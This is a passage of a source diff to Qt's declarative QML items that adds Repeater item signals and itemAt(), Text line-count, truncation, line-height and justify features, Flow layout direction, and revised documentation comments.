@@ -179,6 +194,7 @@ class QDeclarativeFlowPrivate;
 class Q_AUTOTEST_EXPORT QDeclarativeFlow: public QDeclarativeBasePositioner
 {
     Q_OBJECT
+    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
     Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
 public:
     QDeclarativeFlow(QDeclarativeItem *parent=0);
@@ -188,8 +204,12 @@ public:
     Flow flow() const;
     void setFlow(Flow);
 
+    Qt::LayoutDirection layoutDirection() const;
+    void setLayoutDirection (Qt::LayoutDirection);
+
 Q_SIGNALS:
     void flowChanged();
+    Q_REVISION(1) void layoutDirectionChanged();
 
 protected:
     virtual void doPositioning(QSizeF *contentSize);
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
index c6535a7..df105c6 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
@@ -55,7 +55,7 @@
 
 #include "private/qdeclarativepositioners_p.h"
 
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
 
 #include <qdeclarativestate_p.h>
 #include <qdeclarativetransitionmanager_p_p.h>
@@ -67,7 +67,7 @@
 #include <QDebug>
 
 QT_BEGIN_NAMESPACE
-class QDeclarativeBasePositionerPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
+class QDeclarativeBasePositionerPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
 {
     Q_DECLARE_PUBLIC(QDeclarativeBasePositioner)
 
diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
index 94db2f1..d962919 100644
--- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp
+++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
@@ -60,7 +60,10 @@ QT_BEGIN_NAMESPACE
 
     Example:
     \qml
-    Rectangle { border.width: 2; border.color: "red" ... }
+    Rectangle {
+        border.width: 2
+        border.color: "red"
+    }
     \endqml
 */
 
@@ -131,9 +134,9 @@ void QDeclarativeGradientStop::updateGradient()
 
     \section1 Example Usage
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage qml-gradient.png
-    \endfloat
+    \enddiv
 
     The following example declares a \l Rectangle item with a gradient starting
     with red, blending to yellow at one third of the height of the rectangle,
@@ -217,9 +220,9 @@ void QDeclarativeGradient::doUpdate()
 
     \section1 Example Usage
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage declarative-rect.png
-    \endfloat
+    \enddiv
 
     The following example shows the effects of some of the common properties on a
     Rectangle item, which in this case is used to create a square:
@@ -269,9 +272,9 @@ void QDeclarativeRectangle::doUpdate()
     rectangle (as documented for QRect rendering). This can cause unintended effects if
     \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item:
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage rect-border-width.png
-    \endfloat
+    \enddiv
 
     \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0
 
@@ -293,9 +296,9 @@ QDeclarativePen *QDeclarativeRectangle::border()
     This property allows for the construction of simple vertical gradients.
     Other gradients may by formed by adding rotation to the rectangle.
 
-    \beginfloatleft
+    \div {float-left}
     \inlineimage declarative-rect_gradient.png
-    \endfloat
+    \enddiv
 
     \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles
     \clearfloat
@@ -361,9 +364,9 @@ void QDeclarativeRectangle::setRadius(qreal radius)
 
     The default color is white.
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage rect-color.png
-    \endfloat
+    \enddiv
 
     The following example shows rectangles with colors specified
     using hexadecimal and named color notation:
diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp
index 7aa30e5..4d0f34c 100644
--- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp
+++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp
@@ -84,43 +84,23 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate()
 
     \image repeater-simple.png
 
-    The \l model of a Repeater can be any of the supported \l {qmlmodels}{Data Models}.
+    A Repeater's \l model can be any of the supported \l {qmlmodels}{data models}.
+    Additionally, like delegates for other views, a Repeater delegate can access
+    its index within the repeater, as well as the model data relevant to the
+    delegate. See the \l delegate property documentation for details.
 
     Items instantiated by the Repeater are inserted, in order, as
     children of the Repeater's parent.  The insertion starts immediately after
     the repeater's position in its parent stacking list.  This allows
     a Repeater to be used inside a layout. For example, the following Repeater's
     items are stacked between a red rectangle and a blue rectangle:
-   
+
     \snippet doc/src/snippets/declarative/repeaters/repeater.qml layout
 
     \image repeater.png
 
 
-    \section2 The \c index and \c modelData properties
-
-    The index of a delegate is exposed as an accessible \c index property in the delegate.
-    Properties of the model are also available depending upon the type of \l {qmlmodels}{Data Model}.
-
-    Here is a Repeater that uses the \c index property inside the instantiated items:
-
-    \table
-    \row
-    \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index
-    \o \image repeater-index.png
-    \endtable
-
-    Here is another Repeater that uses the \c modelData property to reference the data for a
-    particular index:
-
-    \table
-    \row
-    \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata
-    \o \image repeater-modeldata.png
-    \endtable
-
-
-    A Repeater item owns all items it instantiates. Removing or dynamically destroying
+    \note A Repeater item owns all items it instantiates. Removing or dynamically destroying
     an item created by a Repeater results in unpredictable behavior.
 
 
@@ -146,6 +126,27 @@ QDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate()
     \endcode
  */
 
+/*!
+    \qmlsignal Repeater::onItemAdded(int index, Item item)
+    \since Quick 1.1
+
+    This handler is called when an item is added to the repeater. The \a index
+    parameter holds the index at which the item has been inserted within the
+    repeater, and the \a item parameter holds the \l Item that has been added.
+*/
+
+/*!
+    \qmlsignal Repeater::onItemRemoved(int index, Item item)
+    \since Quick 1.1
+
+    This handler is called when an item is removed from the repeater. The \a index
+    parameter holds the index at which the item was removed from the repeater,
+    and the \a item parameter holds the \l Item that was removed.
+
+    Do not keep a reference to \a item if it was created by this repeater, as
+    in these cases it will be deleted shortly after the handler is called.
+*/
+
 QDeclarativeRepeater::QDeclarativeRepeater(QDeclarativeItem *parent)
   : QDeclarativeItem(*(new QDeclarativeRepeaterPrivate), parent)
 {
@@ -160,26 +161,16 @@ QDeclarativeRepeater::~QDeclarativeRepeater()
 
     The model providing data for the repeater.
 
-    This property can be set to any of the following:
+    This property can be set to any of the supported \l {qmlmodels}{data models}:
 
     \list
-    \o A number that indicates the number of delegates to be created
+    \o A number that indicates the number of delegates to be created by the repeater
     \o A model (e.g. a ListModel item, or a QAbstractItemModel subclass)
     \o A string list
     \o An object list
     \endlist
 
-    In each case, the data element and the index is exposed to each instantiated
-    component.  The index is always exposed as an accessible \c index property.
-    In the case of an object or string list, the data element (of type string
-    or object) is available as the \c modelData property.  In the case of a Qt model,
-    all roles are available as named properties just like in the view classes.
-
-    As a special case the model can also be merely a number. In this case it will
-    create that many instances of the component. They will also be assigned an index
-    based on the order they are created.
-
-    Models can also be created directly in QML, using a \l{ListModel} or \l{XmlListModel}.
+    The type of model affects the properties that are exposed to the \l delegate.
 
     \sa {qmlmodels}{Data Models}
 */
@@ -207,7 +198,6 @@ void QDeclarativeRepeater::setModel(const QVariant &model)
     */
     }
     d->dataSource = model;
-    emit modelChanged();
     QObject *object = qvariant_cast<QObject*>(model);
     QDeclarativeVisualModel *vim = 0;
     if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {
@@ -235,6 +225,7 @@ void QDeclarativeRepeater::setModel(const QVariant &model)
         */
         regenerate();
     }
+    emit modelChanged();
     emit countChanged();
 }
 
@@ -243,8 +234,33 @@ void QDeclarativeRepeater::setModel(const QVariant &model)
     \default
 
     The delegate provides a template defining each item instantiated by the repeater.
-    The index is exposed as an accessible \c index property.  Properties of the
-    model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+    Delegates are exposed to a read-only \c index property that indicates the index
+    of the delegate within the repeater. For example, the following \l Text delegate
+    displays the index of each repeated item:
+
+    \table
+    \row
+    \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index
+    \o \image repeater-index.png
+    \endtable
+
+    If the \l model is a \l{QStringList-based model}{string list} or
+    \l{QObjectList-based model}{object list}, the delegate is also exposed to
+    a read-only \c modelData property that holds the string or object data. For
+    example:
+
+    \table
+    \row
+    \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata
+    \o \image repeater-modeldata.png
+    \endtable
+
+    If the \l model is a model object (such as a \l ListModel) the delegate
+    can access all model roles as named properties, in the same way that delegates
+    do for view classes like ListView.
+
+    \sa {QML Data Models}
  */
 QDeclarativeComponent *QDeclarativeRepeater::delegate() const
 {
@@ -288,6 +304,21 @@ int QDeclarativeRepeater::count() const
     return 0;
 }
 
+/*!
+    \qmlmethod Item Repeater::itemAt(index)
+    \since Quick 1.1
+
+    Returns the \l Item that has been created at the given \a index, or \c null
+    if no item exists at \a index.
+*/
+QDeclarativeItem *QDeclarativeRepeater::itemAt(int index) const
+{
+    Q_D(const QDeclarativeRepeater);
+    if (index >= 0 && index < d->deletables.count())
+        return d->deletables[index];
+    return 0;
+
+}
 
 void QDeclarativeRepeater::componentComplete()
 {
@@ -309,8 +340,13 @@ QVariant QDeclarativeRepeater::itemChange(GraphicsItemChange change,
 void QDeclarativeRepeater::clear()
 {
     Q_D(QDeclarativeRepeater);
+    bool complete = isComponentComplete();
+
     if (d->model) {
-        foreach (QDeclarativeItem *item, d->deletables) {
+        while (d->deletables.count() > 0) {
+            QDeclarativeItem *item = d->deletables.takeLast();
+            if (complete)
+                emit itemRemoved(d->deletables.count()-1, item);
             d->model->release(item);
         }
     }
@@ -335,6 +371,7 @@ void QDeclarativeRepeater::regenerate()
             item->setParentItem(parentItem());
             item->stackBefore(this);
             d->deletables << item;
+            emit itemAdded(ii, item);
         }
     }
 }
@@ -355,6 +392,7 @@ void QDeclarativeRepeater::itemsInserted(int index, int count)
             else
                 item->stackBefore(this);
             d->deletables.insert(modelIndex, item);
+            emit itemAdded(modelIndex, item);
         }
     }
     emit countChanged();
@@ -367,6 +405,7 @@ void QDeclarativeRepeater::itemsRemoved(int index, int count)
         return;
     while (count--) {
         QDeclarativeItem *item = d->deletables.takeAt(index);
+        emit itemRemoved(index, item);
         if (item)
             d->model->release(item);
         else
diff --git a/src/declarative/graphicsitems/qdeclarativerepeater_p.h b/src/declarative/graphicsitems/qdeclarativerepeater_p.h
index 73b50c2..9cb4e30 100644
--- a/src/declarative/graphicsitems/qdeclarativerepeater_p.h
+++ b/src/declarative/graphicsitems/qdeclarativerepeater_p.h
@@ -72,10 +72,16 @@ public:
 
     int count() const;
 
+    Q_INVOKABLE Q_REVISION(1) QDeclarativeItem *itemAt(int index) const;
+
 Q_SIGNALS:
     void modelChanged();
     void delegateChanged();
     void countChanged();
+
+    Q_REVISION(1) void itemAdded(int index, QDeclarativeItem *item);
+    Q_REVISION(1) void itemRemoved(int index, QDeclarativeItem *item);
+
 private:
     void clear();
     void regenerate();
diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
index 640965c..559d061 100644
--- a/src/declarative/graphicsitems/qdeclarativetext.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
@@ -54,6 +54,7 @@
 #include <QPainter>
 #include <QAbstractTextDocumentLayout>
 #include <qmath.h>
+#include <limits.h>
 
 QT_BEGIN_NAMESPACE
 
@@ -84,12 +85,16 @@ private:
 
 DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE);
 
+QString QDeclarativeTextPrivate::elideChar = QString(0x2026);
+
 QDeclarativeTextPrivate::QDeclarativeTextPrivate()
 : color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft), 
   vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone),
-  format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), imageCacheDirty(true), 
-  updateOnComponentComplete(true), richText(false), singleline(false), cacheAllTextAsImage(true), 
-  internalWidthUpdate(false), doc(0) 
+  format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineHeight(1),
+  lineHeightMode(QDeclarativeText::ProportionalHeight),
+  lineCount(1), truncated(false), maximumLineCount(INT_MAX),
+  maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false),
+  cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), naturalWidth(0), doc(0)
 {
     cacheAllTextAsImage = enableImageCache();
     QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton;
@@ -176,6 +181,18 @@ QDeclarativeTextPrivate::~QDeclarativeTextPrivate()
 {
 }
 
+qreal QDeclarativeTextPrivate::implicitWidth() const
+{
+    if (!requireImplicitWidth) {
+        // We don't calculate implicitWidth unless it is required.
+        // We need to force a size update now to ensure implicitWidth is calculated
+        QDeclarativeTextPrivate *me = const_cast<QDeclarativeTextPrivate*>(this);
+        me->requireImplicitWidth = true;
+        me->updateSize();
+    }
+    return mImplicitWidth;
+}
+
 void QDeclarativeTextPrivate::updateLayout()
 {
     Q_Q(QDeclarativeText);
@@ -192,9 +209,13 @@ void QDeclarativeTextPrivate::updateLayout()
             QString tmp = text;
             tmp.replace(QLatin1Char('\n'), QChar::LineSeparator);
             singleline = !tmp.contains(QChar::LineSeparator);
-            if (singleline && elideMode != QDeclarativeText::ElideNone && q->widthValid()) {
+            if (singleline && !maximumLineCountValid && elideMode != QDeclarativeText::ElideNone && q->widthValid()) {
                 QFontMetrics fm(font);
                 tmp = fm.elidedText(tmp,(Qt::TextElideMode)elideMode,q->width()); // XXX still worth layout...?
+                if (tmp != text && !truncated) {
+                    truncated = true;
+                    emit q->truncatedChanged();
+                }
             }
             layout.setText(tmp);
         } else {
@@ -215,12 +236,20 @@ void QDeclarativeTextPrivate::updateSize()
         return;
     }
 
+    if (!requireImplicitWidth) {
+        emit q->implicitWidthChanged();
+        // if the implicitWidth is used, then updateSize() has already been called (recursively)
+        if (requireImplicitWidth)
+            return;
+    }
+
     invalidateImageCache();
 
     QFontMetrics fm(font);
     if (text.isEmpty()) {
         q->setImplicitWidth(0);
         q->setImplicitHeight(fm.height());
+        paintedSize = QSize(0, fm.height());
         emit q->paintedSizeChanged();
         q->update();
         return;
@@ -241,9 +270,14 @@ void QDeclarativeTextPrivate::updateSize()
         singleline = false; // richtext can't elide or be optimized for single-line case
         ensureDoc();
         doc->setDefaultFont(font);
-        QTextOption option((Qt::Alignment)int(hAlign | vAlign));
+        QTextOption option;
+        option.setAlignment((Qt::Alignment)int(hAlign | vAlign));
         option.setWrapMode(QTextOption::WrapMode(wrapMode));
         doc->setDefaultTextOption(option);
+        if (requireImplicitWidth && q->widthValid()) {
+            doc->setTextWidth(-1);
+            naturalWidth = doc->idealWidth();
+        }
         if (wrapMode != QDeclarativeText::NoWrap && q->widthValid())
             doc->setTextWidth(q->width());
         else
@@ -268,10 +302,16 @@ void QDeclarativeTextPrivate::updateSize()
 
     //### need to comfirm cost of always setting these for richText
     internalWidthUpdate = true;
-    q->setImplicitWidth(size.width());
+    if (!q->widthValid())
+        q->setImplicitWidth(size.width());
+    else if (requireImplicitWidth)
+        q->setImplicitWidth(naturalWidth);
     internalWidthUpdate = false;
     q->setImplicitHeight(size.height());
-    emit q->paintedSizeChanged();
+    if (paintedSize != size) {
+        paintedSize = size;
+        emit q->paintedSizeChanged();
+    }
     q->update();
 }
 
@@ -291,25 +331,107 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
     qreal height = 0;
     qreal widthUsed = 0;
     qreal lineWidth = 0;
+    int visibleTextLength = 0;
+    int visibleCount = 0;
 
     //set manual width
     if ((wrapMode != QDeclarativeText::NoWrap || elideMode != QDeclarativeText::ElideNone) && q->widthValid())
         lineWidth = q->width();
 
     QTextOption textOption = layout.textOption();
+    if (hAlign == QDeclarativeText::AlignJustify)
+        textOption.setAlignment(Qt::Alignment(hAlign));
     textOption.setWrapMode(QTextOption::WrapMode(wrapMode));
     layout.setTextOption(textOption);
 
-    layout.beginLayout();
-    forever {
-        QTextLine line = layout.createLine();
-        if (!line.isValid())
-            break;
+    QDeclarativeText::HAlignment hAlignment = hAlign;
+    if(text.isRightToLeft()) {
+        if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
+            hAlignment = QDeclarativeText::AlignRight;
+        } else if (hAlign == QDeclarativeText::AlignRight) {
+            hAlignment = QDeclarativeText::AlignLeft;
+        } else {
+            hAlignment = hAlign;
+        }
+    }
 
-        if (lineWidth)
+    bool elideText = false;
+    bool truncate = false;
+
+    QFontMetrics fm(layout.font());
+    qreal elideWidth = fm.width(elideChar);
+    elidePos = QPointF();
+
+    if (requireImplicitWidth && q->widthValid()) {
+        // requires an extra layout
+        layout.beginLayout();
+        forever {
+            QTextLine line = layout.createLine();
+            if (!line.isValid())
+                break;
+        }
+        layout.endLayout();
+        naturalWidth = 0;
+        for (int i = 0; i < layout.lineCount(); ++i) {
+            QTextLine line = layout.lineAt(i);
+            naturalWidth = qMax(naturalWidth, line.naturalTextWidth());
+        }
+    }
+
+    if (maximumLineCountValid) {
+        layout.beginLayout();
+        if (!lineWidth)
+            lineWidth = INT_MAX;
+        int y = 0;
+        int linesLeft = maximumLineCount;
+        while (linesLeft > 0) {
+            QTextLine line = layout.createLine();
+            if (!line.isValid())
+                break;
+
+            visibleCount++;
             line.setLineWidth(lineWidth);
+            visibleTextLength += line.textLength();
+
+            if (--linesLeft == 0) {
+                if (visibleTextLength < text.length()) {
+                    truncate = true;
+                    if (elideMode==QDeclarativeText::ElideRight && q->widthValid()) {
+                        // Need to correct for alignment
+                        line.setLineWidth(lineWidth-elideWidth);
+                        int x = line.naturalTextWidth();
+                        if (hAlignment == QDeclarativeText::AlignRight) {
+                            x = q->width()-elideWidth;
+                        } else if (hAlignment == QDeclarativeText::AlignHCenter) {
+                            x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
+                        }
+                        elidePos = QPointF(x, y + fm.ascent());
+                        elideText = true;
+                    }
+                }
+            }
+
+            y += line.height();
+        }
+        layout.endLayout();
+
+        //Update truncated
+        if (truncated != truncate) {
+            truncated = truncate;
+            emit q->truncatedChanged();
+        }
+    } else {
+        layout.beginLayout();
+        forever {
+            QTextLine line = layout.createLine();
+            if (!line.isValid())
+                break;
+            visibleCount++;
+            if (lineWidth)
+                line.setLineWidth(lineWidth);
+        }
+        layout.endLayout();
     }
-    layout.endLayout();
 
     for (int i = 0; i < layout.lineCount(); ++i) {
         QTextLine line = layout.lineAt(i);
@@ -317,26 +439,38 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
     }
 
     qreal layoutWidth = q->widthValid() ? q->width() : widthUsed;
+    if (!q->widthValid())
+        naturalWidth = layoutWidth;
 
     qreal x = 0;
     for (int i = 0; i < layout.lineCount(); ++i) {
         QTextLine line = layout.lineAt(i);
         line.setPosition(QPointF(0, height));
-        height += line.height();
+        height += (lineHeightMode == QDeclarativeText::FixedHeight) ? lineHeight : line.height() * lineHeight;
 
         if (!cacheAllTextAsImage) {
-            if (hAlign == QDeclarativeText::AlignLeft) {
+            if ((hAlignment == QDeclarativeText::AlignLeft) || (hAlignment == QDeclarativeText::AlignJustify)) {
                 x = 0;
-            } else if (hAlign == QDeclarativeText::AlignRight) {
+            } else if (hAlignment == QDeclarativeText::AlignRight) {
                 x = layoutWidth - line.naturalTextWidth();
-            } else if (hAlign == QDeclarativeText::AlignHCenter) {
+                if (elideText && i == layout.lineCount()-1)
+                    x -= elideWidth; // Correct for when eliding multilines
+            } else if (hAlignment == QDeclarativeText::AlignHCenter) {
                 x = (layoutWidth - line.naturalTextWidth()) / 2;
+                if (elideText && i == layout.lineCount()-1)
+                    x -= elideWidth/2; // Correct for when eliding multilines
             }
             line.setPosition(QPointF(x, line.y()));
         }
     }
 
-    return layout.boundingRect().toAlignedRect().size();
+    //Update the number of visible lines
+    if (lineCount != visibleCount) {
+        lineCount = visibleCount;
+        emit q->lineCountChanged();
+    }
+
+    return QSize(qCeil(widthUsed), qCeil(height));
 }
 
 /*!
@@ -351,7 +485,7 @@ QPixmap QDeclarativeTextPrivate::textLayoutImage(bool drawStyle)
     qreal x = 0;
     for (int i = 0; i < layout.lineCount(); ++i) {
         QTextLine line = layout.lineAt(i);
-        if (hAlign == QDeclarativeText::AlignLeft) {
+        if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
             x = 0;
         } else if (hAlign == QDeclarativeText::AlignRight) {
             x = size.width() - line.naturalTextWidth();
@@ -389,7 +523,9 @@ void QDeclarativeTextPrivate::drawTextLayout(QPainter *painter, const QPointF &p
     else
         painter->setPen(color);
     painter->setFont(font);
-    layout.draw(painter, pos); 
+    layout.draw(painter, pos);
+    if (!elidePos.isNull())
+        painter->drawText(elidePos, elideChar);
 }
 
 /*!
@@ -558,11 +694,24 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
     \brief The Text item allows you to add formatted text to a scene.
     \inherits Item
 
-    A Text item can display both plain and rich text. For example:
+    Text items can display both plain and rich text. For example, red text with
+    a specific font and size can be defined like this:
 
     \qml
-    Text { text: "Hello World!"; font.family: "Helvetica"; font.pointSize: 24; color: "red" }
-    Text { text: "<b>Hello</b> <i>World!</i>" }
+    Text {
+        text: "Hello World!"
+        font.family: "Helvetica"
+        font.pointSize: 24
+        color: "red"
+    }
+    \endqml
+
+    Rich text is defined using HTML-style markup:
+
+    \qml
+    Text {
+        text: "<b>Hello</b> <i>World!</i>"
+    }
     \endqml
 
     \image declarative-text.png
@@ -582,7 +731,7 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
     \sa {declarative/text/fonts}{Fonts example}
 */
 QDeclarativeText::QDeclarativeText(QDeclarativeItem *parent)
-  : QDeclarativeItem(*(new QDeclarativeTextPrivate), parent)
+  : QDeclarativeImplicitSizeItem(*(new QDeclarativeTextPrivate), parent)
 {
 }
 
@@ -798,12 +947,20 @@ void QDeclarativeText::setText(const QString &n)
 
     The text color.
 
+    An example of green text defined using hexadecimal notation:
     \qml
-    //green text using hexadecimal notation
-    Text { color: "#00FF00"; ... }
+    Text {
+        color: "#00FF00"
+        text: "green text"
+    }
+    \endqml
 
-    //steelblue text using SVG color name
-    Text { color: "steelblue"; ... }
+    An example of steel blue text defined using an SVG color name:
+    \qml
+    Text {
+        color: "steelblue"
+        text: "blue text"
+    }
     \endqml
 */
 QColor QDeclarativeText::color() const
@@ -907,8 +1064,8 @@ void QDeclarativeText::setStyleColor(const QColor &color)
     Sets the horizontal and vertical alignment of the text within the Text items
     width and height.  By default, the text is top-left aligned.
 
-    The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight and
-    \c Text.AlignHCenter.  The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom
+    The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight, \c Text.AlignHCenter and
+    \c Text.AlignJustify.  The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom
     and \c Text.AlignVCenter.
 
     Note that for a single line of text, the size of the text is the area of the text. In this common case,
@@ -986,6 +1143,76 @@ void QDeclarativeText::setWrapMode(WrapMode mode)
     emit wrapModeChanged();
 }
 
+/*!
+    \qmlproperty int Text::lineCount
+
+    Returns the number of lines visible in the text item.
+
+    This property is not supported for rich text.
+
+    \sa maximumLineCount
+*/
+int QDeclarativeText::lineCount() const
+{
+    Q_D(const QDeclarativeText);
+    return d->lineCount;
+}
+
+/*!
+    \qmlproperty bool Text::truncated
+
+    Returns true if the text has been truncated due to \l maximumLineCount
+    or \l elide.
+
+    This property is not supported for rich text.
+
+    \sa maximumLineCount, elide
+*/
+bool QDeclarativeText::truncated() const
+{
+    Q_D(const QDeclarativeText);
+    return d->truncated;
+}
+
+/*!
+    \qmlproperty int Text::maximumLineCount
+
+    Set this property to limit the number of lines that the text item will show.
+    If elide is set to Text.ElideRight, the text will be elided appropriately.
+    By default, this is the value of the largest possible integer.
+
+    This property is not supported for rich text.
+
+    \sa lineCount, elide
+*/
+int QDeclarativeText::maximumLineCount() const
+{
+    Q_D(const QDeclarativeText);
+    return d->maximumLineCount;
+}
+
+void QDeclarativeText::setMaximumLineCount(int lines)
+{
+    Q_D(QDeclarativeText);
+
+    d->maximumLineCountValid = lines==INT_MAX ? false : true;
+    if (d->maximumLineCount != lines) {
+        d->maximumLineCount = lines;
+        d->updateLayout();
+        emit maximumLineCountChanged();
+    }
+}
+
+void QDeclarativeText::resetMaximumLineCount()
+{
+    Q_D(QDeclarativeText);
+    setMaximumLineCount(INT_MAX);
+    d->elidePos = QPointF();
+    if (d->truncated != false) {
+        d->truncated = false;
+        emit truncatedChanged();
+    }
+}
 
 /*!
     \qmlproperty enumeration Text::textFormat
@@ -1073,7 +1300,7 @@ void QDeclarativeText::setTextFormat(TextFormat format)
     Set this property to elide parts of the text fit to the Text item's width.
     The text will only elide if an explicit width has been set.
 
-    This property cannot be used with multi-line text or with rich text.
+    This property cannot be used with rich text.
 
     Eliding can be:
     \list
@@ -1083,6 +1310,9 @@ void QDeclarativeText::setTextFormat(TextFormat format)
     \o Text.ElideRight
     \endlist
 
+    If this property is set to Text.ElideRight, it can be used with multiline
+    text. The text will only elide if maximumLineCount has been set.
+
     If the text is a multi-length string, and the mode is not \c Text.ElideNone,
     the first string that fits will be used, otherwise the last will be elided.
 
@@ -1126,6 +1356,7 @@ QRectF QDeclarativeText::boundingRect() const
 
     switch (d->hAlign) {
     case AlignLeft:
+    case AlignJustify:
         x = 0;
         break;
     case AlignRight:
@@ -1159,7 +1390,7 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF &
             && (d->wrapMode != QDeclarativeText::NoWrap
                 || d->elideMode != QDeclarativeText::ElideNone
                 || d->hAlign != QDeclarativeText::AlignLeft)) {
-        if (d->singleline && d->elideMode != QDeclarativeText::ElideNone && widthValid()) {
+        if ((d->singleline || d->maximumLineCountValid) && d->elideMode != QDeclarativeText::ElideNone && widthValid()) {
             // We need to re-elide
             d->updateLayout();
         } else {
@@ -1179,7 +1410,8 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF &
 */
 qreal QDeclarativeText::paintedWidth() const
 {
-    return implicitWidth();
+    Q_D(const QDeclarativeText);
+    return d->paintedSize.width();
 }
 
 /*!
@@ -1190,7 +1422,65 @@ qreal QDeclarativeText::paintedWidth() const
 */
 qreal QDeclarativeText::paintedHeight() const
 {
-    return implicitHeight();
+    Q_D(const QDeclarativeText);
+    return d->paintedSize.height();
+}
+
+/*!
+    \qmlproperty real Text::lineHeight
+
+    Sets the line height for the text.
+    The value can be in pixels or a multiplier depending on lineHeightMode.
+
+    The default value is a multiplier of 1.0.
+    The line height must be a positive value.
+*/
+qreal QDeclarativeText::lineHeight() const
+{
+    Q_D(const QDeclarativeText);
+    return d->lineHeight;
+}
+
+void QDeclarativeText::setLineHeight(qreal lineHeight)
+{
+    Q_D(QDeclarativeText);
+
+    if ((d->lineHeight == lineHeight) || (lineHeight < 0.0))
+        return;
+
+    d->lineHeight = lineHeight;
+    d->updateLayout();
+    emit lineHeightChanged(lineHeight);
+}
+
+/*!
+    \qmlproperty enumeration Text::lineHeightMode
+
+    This property determines how the line height is specified.
+    The possible values are:
+
+    \list
+    \o Text.ProportionalHeight (default) - this sets the spacing proportional to the
+       line (as a multiplier). For example, set to 2 for double spacing.
+    \o Text.FixedHeight - this sets the line height to a fixed line height (in pixels).
+    \endlist
+*/
+QDeclarativeText::LineHeightMode QDeclarativeText::lineHeightMode() const
+{
+    Q_D(const QDeclarativeText);
+    return d->lineHeightMode;
+}
+
+void QDeclarativeText::setLineHeightMode(LineHeightMode mode)
+{
+    Q_D(QDeclarativeText);
+    if (mode == d->lineHeightMode)
+        return;
+
+    d->lineHeightMode = mode;
+    d->updateLayout();
+
+    emit lineHeightModeChanged(mode);
 }
 
 /*!
diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
index abc45f9..b8835d1 100644
--- a/src/declarative/graphicsitems/qdeclarativetext_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
@@ -43,7 +43,7 @@
 #define QDECLARATIVETEXT_H
 
 #include <QtGui/qtextoption.h>
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
 
 #include <private/qdeclarativeglobal_p.h>
 
@@ -53,7 +53,7 @@ QT_BEGIN_NAMESPACE
 
 QT_MODULE(Declarative)
 class QDeclarativeTextPrivate;
-class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplicitSizeItem
 {
     Q_OBJECT
     Q_ENUMS(HAlignment)
@@ -62,6 +62,7 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
     Q_ENUMS(TextFormat)
     Q_ENUMS(TextElideMode)
     Q_ENUMS(WrapMode)
+    Q_ENUMS(LineHeightMode)
 
     Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
